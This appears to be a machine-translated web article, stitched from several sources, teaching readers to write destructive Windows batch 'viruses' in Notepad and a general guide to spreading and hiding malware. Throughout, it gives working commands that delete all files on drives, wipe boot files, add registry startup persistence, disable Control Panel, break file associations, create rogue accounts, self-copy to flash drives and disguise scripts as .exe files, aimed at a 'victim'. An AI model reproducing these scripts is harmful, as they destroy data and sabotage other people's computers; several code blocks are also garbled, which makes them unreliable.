Contacts

Creation of viruses. Examples of harmful files. The enemy must be known by sight. How to create, write a computer virus? Codes for creating viruses in notepad

Viruses are written, as a rule, in order to spoil the life of another - "eat" free space on his PC, disable the system, "crack" passwords, etc. Despite such consequences, there are viruses created just to laugh over a friend. Such a virus is written in five minutes, and it does not do anything critical with the system. The most common joke viruses are turning off the PC, opening the same program multiple times, and displaying funny text.

Similar unpretentious viruses are created in the standard Notepad (Notepad), except that they are not saved with .txt resolution, but in the format of a .bat batch file.

How to make a virus

Let's consider step by step how to write a virus that repeatedly opens one application.

  1. Open Notepad by right-clicking on the desktop and selecting New → Text Document.
  2. We begin to fill our virus with commands
    • @echo off //in this line, we prohibit the output of commands
    • echo "process is running" //text that the user will see
    • start mspaint
    • goto:p //run the paint program multiple times
    • pause // press any key
    • del %0 //virus self-destruct
  3. For the saved file, change the icon to a more popular one (browser, word, etc.) and enter the appropriate name.

A few more possible draws:

Some kind of screensaver of the movie "The Matrix"

  • @echo off
  • color 2
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • goto:a
  • pause

Change how mouse buttons work

  • %SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

Change of time

  • time 0:00

Disabling the keyboard

  • rundll32 keyboard,disable

Disabling the mouse

  • rundll32 mouse,disable

We looked at the simplest and most harmless ways to play tricks on a friend. In fact, having studied the system commands, you can irretrievably "put" the system on someone else's computer (and even on your own through negligence).

You can also learn about the existence of different types of viruses from the article, but you should not delve into this topic so as not to create unnecessary problems for yourself and others. It is better to take care of protecting your own computer and install a reliable antivirus program so that you yourself do not fall for the prank of friend or foe.

Find the operating system you wish to attack. Most often it is Microsoft Windows, especially older versions. Many users do not update their operating systems, leaving them vulnerable to modern attacks.

  • Mac OS X and Linux are considered to be more protected from virus attacks (due to the work of access rights and the architecture of the operating system). 95% of all viruses target Windows users.

Decide how to spread the virus. A virus is considered a virus if it can spread to other users. You need to come up with a delivery method before you start working on creating a virus. Commonly used delivery components:

Find a weak spot to attack. Successful viruses use weaknesses in programs and system security to operate and spread. It takes a lot of research and knowledge, but there are specialized communities that can help with this.

Decide on the functionality of your virus. What will the virus do after infecting the system? The effects can vary, ranging from zero effect, displaying a message, deleting files, and other more malicious effects. Be aware that creating and spreading viruses is illegal in many countries.

Choose language. To create a virus, you need at least a basic understanding of some kind of programming language or scripting tool. More complex viruses very often involve multiple programming languages. For the most effective viruses, you will need knowledge of assembly language.

  • If you want to create executable viruses, then look for C and C++ courses on the Internet.
  • If you want to create macro viruses, then learn the macro language for the desired program, such as Microsoft Office.
  • Visual Basic can be used to create malware for Windows users.
  • Start working on your virus. This will take a long time, especially the first time. Experiment as much as you can, and learn about ways to distribute your code depending on the language you use. There are guides and blogs for learning some languages.

    • Learn about polymorphic code. This will change the code of your program after each replica, hiding the virus from antivirus programs. Polymorphic code would be quite an advanced step that is created in different ways in different programming languages.
  • Learn about ways to hide your code. In addition to polymorphic code, there are ways to hide your virus. Encryption is a very popular tool among virus developers. It takes a lot of time and reading, but as a result, you will be able to protect and extend the life of your virus.

  • Check your virus. Once you have a working prototype, test it on multiple machines and builds. The easiest way is to use virtual machines with different builds.

    • Try to run your tests in a closed build so that your virus doesn't accidentally enter the network. Put the test machines on a separate network and test the spread of the virus.
    • Improve your virus code as you test it. Work on the bugs in your code.
  • BATCH & EXECUTE
    BUGS

    At this time, viruses are multiplying tens of thousands of times, as we assume. They appeared back in the 80s. In those days, the world learned what viruses are and what they do when they get into a PC. Today I will "SMOKED" tell you how to create your own virus in a notepad, and I want to say that this is only a command file that will only give orders to the system and microprocessor.
    The most relish in this work is that the user will not know that his program is actually a bomb for Windows.
    So let's get started. You have decided to become a virus writer. I’ll tell you right away that these viruses, of course, can greatly harm a computer, but they cannot be fully transmitted from one computer to another. You and only you are responsible for everything that happens to your computer. Here we only need a notepad.
    Let's get started:

    1) Open notepad;
    2) We write in it "mspaint", without quotes;
    3) We save the file under any name, but instead of .txt we will write .bat;
    4) Open the file and see that Paint has opened 
    Here is our first program. Instead of “mspaint”, you can enter any program, for example: Calc-calculator, Taskmgr-task manager ... But what do viruses have to do with it? - you ask. Nothing!  The next thing we will do is a program for changing the time on the computer, and besides, it will copy itself to a USB flash drive (if one is inserted).
    So, we write in notepad:

    time 00:00
    copy %0 F:\Work.bat

    In the first line we change the time to 00:00, and in the second we copy the file to disk (F, G, J, K, H) - a flash drive called Work. Don't forget to save the notepad file as a .bat file. Instead of time, you can also change the date "Date 06/13/23". By writing such a line, we will change the date to 2023, the 6th month, the 13th.   Now a small list of what can be written in the notepad virus.

    LIST:

    1) "copy %0 x:\y" - copies the virus to disk x to folder y (example copy %0 C:\System.bat);
    2) "label x:y" - renames disk x to y (example label C:error);
    3) "time x:y" - changes the time by x hours and y minutes (example time 14:27);
    4) "date x.y.z" - changes the date to x day, y month, z years (example date 11/16/05);
    5) "md x" - will create a folder, in the place where our virus is, with the name x (example md Papka);
    6) “del *.* /q” - will delete all files (our virus too) in the folder where our virus is located (except folders);
    7) "del x:\y *.* /q" - will delete all files on disk x in folder y (except folders) (example del F:\Data*.* /q);
    8) “assoc .x=.y” - will remake all files on the computer in x to y format (example assoc .exe = .mp3);
    9) "net user "x" / add" - will add a user under the name x to the computer (example net user "Smoked" / add);

    Here are two programs for you to consider, you can use them without my agreement, but by using them you accept the user agreement.

    1) A program for deleting files from a USB flash drive (if one is inserted) and renaming it.
    del F:\ *.* /q
    label F:HACK

    2) A program for changing the date and time on a computer and copying it to disk C and a USB flash drive.
    time 14:13
    date 11.07.12
    copy %0 C:\Time.bat
    copy %0 F:\Time.bat
    You already know how to create simple viruses. He can: change the time, date, names of disks and flash drives, open programs, create folders, copy himself, add users, change extensions and destroy information. It's a pretty short list, to be honest. Now I will teach you some subtleties of virus writing. Let's say you've already made a virus, but it looks rather ugly. Well, who will open an incomprehensible file? You are right, there are not many such people in the world. How to change the format from .bat to .exe and add an icon. Very easy (You need to have WinRAR on your computer). We find any virus with the .bat extension, right-click on it, click "Add to archive ...". Check the "Create SFX archive" checkbox, select the advanced tab, and click on the "SFX Options..." button. In the "Run after unpacking" window, write the names of the virus (example Virus.bat) and in the "Text and Graphics" window, then "Load SFX icon from file." Click "Browse" and look for any .ico format icon. Now click OK. Done  Format.exe, not .bat, as we should have. Now you can do anything with viruses. What exactly is up to you.
    Let's say you wrote a virus that will corrupt information opened from folders and do some harm:

    del C:\ *.* /q
    del D:\ *.* /q
    delE:\ *.* /q
    del F:\ *.* /q
    time 00:00
    date 06/13/23
    del *.* /q

    Is our virus ready? – Ask yourself. Of course not. It needs to be finished immediately. I will gladly help you with this. And so our new command "@echo off" is entered at the beginning of our virus and hides everything that happens in it in the future. In a word, we will not let the user see what happened. By adding a simple but very effective action after each command, like "> nul" for example "time 00:00 > nul", we will hide the line. So, we can improve our virus:

    @echo off
    del C:\ *.* /q >nul
    del D:\ *.* /q >nul
    del E:\ *.* /q >nul
    del F:\ *.* /q >nul
    time 00:00 >nul
    date 13.06.23 >nul
    del *.* /q >nul

    Here, now our virus is ready. You can check it out. But I do not advise you to check it on your PC  . We save, convert, but what to do next with it is your business. By the way, there is an excellent program for converting .bat to .exe, it works much better than WinRAR, it's called "Bat to exe converter". You can download it on the Internet, it's free. So, back to virus writing.
    %SystemRoot%/system32/rundll32 user32, SwapMouseButton This line swaps mouse buttons. You can have fun with someone while he drives in, what happened, time will pass (if he is completely a user), for the gifted, I’ll say that if you entered it, turn it off quite simply: “Control Panel”, “Printers and other equipment”, “ Mouse" and uncheck the first box.
    So, let's move on:

    :x;
    Start mspaint
    goto x ;

    A very good line for loading weak machines. The command opens Paint, and very quickly. 60 times before you realize what happened and close the program. Try to enter any lines of programs instead of mspaint... Works  You can use several of these commands until the computer of our victim completely slows down.

    We write a new script:

    copy ""%0"" "%SystemRoot%\system32\File.bat"
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Filel" /t REG_SZ /d "%SystemRoot%\system32\File.bat" /f
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f

    A very cruel command, adds a program to the OS startup. I do not advise you to check on your computer. We don't stop and move on. 

    assoc .lnk=.txt >nul
    assoc .exe=.mp3 >nul

    With these two lines, we are doing very serious harm to the victim's computer. It changes the extensions of all files on the computer from .lnk to .txt and .exe to .mp3. That is, all shortcuts open in notepad, and programs, everything, in the player. Cool, yeah? Now read the code below and if you understand what the essence of the virus is, congratulations, you have completed the basic course from SMOKED virus writing. If not. Reading it all over again

    @echo off
    %SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
    time 0:00 >nul
    date 13.06.23 >nul
    label C:IDIOT >nul
    label D:URAK >nul
    label E:SUKA >nul
    label F:GANDON >nul
    copy %0 C:\Open.bat >nul
    copy %0 D:\Open.bat >nul
    copy %0 E:\Open.bat >nul
    copy %0 F:\Open.bat >nul
    net user "Idiot you Hacked" /add >nul
    net user "Bitch you Hacked" /add >nul
    net user "Durak you Hacked" /add >nul
    net user "Kritin you Hacked" /add >nul
    net user "Gavno you Hacked" /add >nul
    md 1 >nul
    md 2 >nul
    md 3 >nul
    md 4 >nul
    md 5 >nul
    md 6 >nul
    md 7 >nul
    md 8 >nul
    md 9 >nul
    md 10 >nul
    md 11 >nul
    md 12 >nul
    md 13 >nul
    md 14 >nul
    md 15 >nul
    md 16 >nul
    md 17 >nul
    md 18 >nul
    md 19 >nul
    md 20 >nul
    md 21 >nul
    md 22 >nul
    md 23 >nul
    md 24 >nul
    md 25 >nul
    md 26 >nul
    md 27 >nul
    assoc .lnk=.txt >nul
    assoc .exe=.txt >nul
    :x;
    Start mspaint
    goto x ;
    :x;
    Start Calc
    goto x ;
    copy ""%0"" "%SystemRoot%\system32\Cool.bat" >nul
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Cool" /t REG_SZ /d "%SystemRoot%\system32\Cool.bat" /f >nul
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul
    del %0 >nul

    This concludes my lessons. I hope you liked it! Sincerely, SMOKED! P.S. When I first posted this article on the Internet. About 70 messages came to my ICQ with a request to hack into the mailbox . I wrote everything myself, my article! 

    For that, to understand how your computer is not protected from the actions of intruders, I suggest creating a few simple viruses yourself. Thanks to this, you will understand that any computer obeys not only keystrokes. The computer, having received just one command (clicking on the file icon, you can do without it), can begin to open, create, delete, rename, etc. on its own.
    As a rule, the extension of these files is .bat .exe - any invented name before the dot.

    - .bat file is created in a regular notepad, when saving, the .bat extension is used instead of .txt (Untitled.txt or *.txt by default).
    Example: open a standard notepad, write mspaint - only 7 letters, save this file (file - save as) not as usual, but write instead of "Untitled.txt" - myfile.bat. Naturally, instead of myfile any convenient name.

    If you have followed the above steps, then congratulations: you have created the first batch file, which, when clicked, will open the Paint drawer (available in any Windows).

    - File.exe compiled by a special program from a bat file (not only from it) for masking or other functionality.
    There are many similar compiler programs, you can download one of them below complete with a set of blanks for experimenting with bat files.
    Screenshot of Bat Exe Converter:


    But batch files may not be as harmless as described above. It is enough to change its contents, as your computer will begin to execute any commands prescribed in it.

    I will give examples of the results of commands that can be called just jokes on a friend:
    - Change the date on the computer, let's say 1812 or your birthday;
    - Constantly open Paint, Calculator, Error many times in a row ...;
    - Swap mouse buttons;
    - Turn off the computer;
    - Force the computer to constantly restart;
    - Rename the name of the hard drive;
    - Delete all files from the folder in which this file is located (God forbid, if it's a desktop);
    And so on, you can almost come up with any jokes. It depends on the sophistication of the mind of the avenger.

    Below are the brutal actions that this file is capable of, there is no time for jokes here:
    - The ability to independently record anywhere, including a USB flash drive;
    - Have a hidden attribute, be invisible, as well as the execution of his commands;
    - Rename all files on the computer, let's change .lnk to .txt, and name the .exe necessary in the work to .mp3. Result: shortcuts will open in notepad, working programs will try to open in the player.
    - Multiple times hidden to open the same program to slow down the computer;
    - Add a virus to startup when you turn on the computer;
    - Complete removal without the possibility of restoring any program. Usually programs are installed by default in a certain directory and the hacker knows this...
    This list is just beginning. But we will stop, because this is already enough for the computer to stop working.

    In order for the above not to be unfounded, you can download the archive below.
    It contains:
    - text file "Self-tutor.txt" with a description of the bat codes and live examples.
    - Program for compiling files to .exe
    - Changing mouse buttons for example
    - Harmless useful ready-made bat files:
    otkl-60.bat - shutdown computer after 60 seconds
    otkl-60-cancel.bat - cancel shutdown
    Paint.bat - enable Paint
    Symbol.bat - open the symbol table

    Download creating viruses to protect against them- You need to know the enemy in person:

    When loading, your computer's antivirus may start to swear and do the right thing.
    Be careful! After downloading the archive and unpacking it, do not click on the files without studying the instructions or this article.

    You can check the contents of the .bat file by right-clicking on it and selecting "Edit" from the pop-up menu:


    Before experimenting, I urge you to create a backup system restore point.

    I hope these experiments will convince you that you need to be more careful about foreign files and programs that we open and install on your computer. Be careful when working with mail: do not download, let alone open files like our examples.

    I end on a minor note: Caution! Viruses are everywhere!

    DISCLAIMER

    This article is written for educational purposes and the author is not responsible for your actions. Be reasonable and appreciate the work of others.

    How are computer viruses created | A bit of theory

    Computer viruses is a type of malicious software that can create copies of itself and infiltrate the code of other programs, system memory areas, boot sectors, and also distribute its copies over various communication channels.

    Computer viruses have the following classifications:

    • Boot viruses– viruses that penetrate the boot sector of data storage devices such as hard drives, flash drives, floppy disks, etc., and can disrupt the availability of files.
    • File viruses– type of viruses that inject into executable files (files with COM and EXE extensions) and adversely affect their functionality.
    • File-boot viruses- viruses that combine the functions of the two previous types of viruses;
    • Document viruses- a type of virus that infects files in office systems. This type is also called "macro viruses", since the infection of the system occurs by infecting program macros.
    • Network viruses– type of viruses that spread through the use of a computer network, i.e. network services and protocols.

    The most famous virus in the world was called ILOVEYOU. At its core, it was completely harmless, a worm that spammed people's mail. Recently, however, the world has been subject to cyber attacks that have made everyone think about their security. The WannaCry virus infected so many computers and demanded a $300 ransom in bitcoin. However, some analysts believe that this was just a test and there will be another attack on a much larger scale and it will be directed at Apple users.

    And yet, although WannaCry was widespread and quite a lot of money was taken from it, it was a regular WinLocker that could be removed. The fact is that in most banks and companies that did not have time to figure it out paid, and 300 dollars for them is not a serious loss.

    We create comic viruses and not only

    Let's create some of our own viruses, which I do not recommend checking on my computer, as this can end very badly.

    Absolutely everyone can make such viruses, since we do not need specialized software, etc., we just need a notepad.

    I must say right away that our file will be saved in almost all cases, we will be in the .bat format, I write the name anyname, but you can give absolutely anything.

    Deleting all files

    We save this code as anyname.bat and that's it, after launch, all content will be deleted.

    Blue screen of death

    @echo off del %systemdrive%*.* /f /s /q shutdown -r -f -t 00

    We save this code to the file anyname.vbs, please note that here the file format must be .vbs, not .bat.

    We format drives C, D, E in three seconds

    rd/s/qD:
    rd/s/qC:
    rd/s/qE:

    We save this file as anyname.bat and run it. All disks will be formatted in three seconds.

    Matrix Effect | Matrix Effect

    @echo off
    color 02:tricks
    echo %random%%random%%random%%random%%random%%random%%random%%random%
    goto tricks

    Save it as anyname.bat and run it, it's not dangerous for your PC.

    Shutting down the PC and disabling the ability to restart

    @echo off attrib -r -s -h c:autoexec.bat del c:autoexec.bat attrib -r -s -h c:boot.ini del c:boot.ini attrib -r -s -h c:tldr del c:tdlr attrib -r -s -h c:windowswin.ini del c:windowswn.ini @echo off Msg *YOU GOT INFECTED! Shutdown -s -t 7 -c "A virus is taking over c:Drive

    Save as kind.bat, DANGEROUS TO LAUNCH ON YOUR PC!

    Replacing files with non-working ones

    This virus will replace the following formats (.exe .jpeg .png .mpeg .sys)

    @echo off assoc .txt=jpegfile

    Save as anyname.bat and run.

    Removing the operating system

    @echo off Del C:*.* |y

    We save it as anyname.bat and run it on the victim's PC.

    And that's all for today, thanks for reading the article and I hope you will not abuse the information received. If you want more viruses, then write in the comments, we will do it! Save the article on your social networks so as not to lose it.

    Good luck in life and see you soon!



    Liked the article? Share it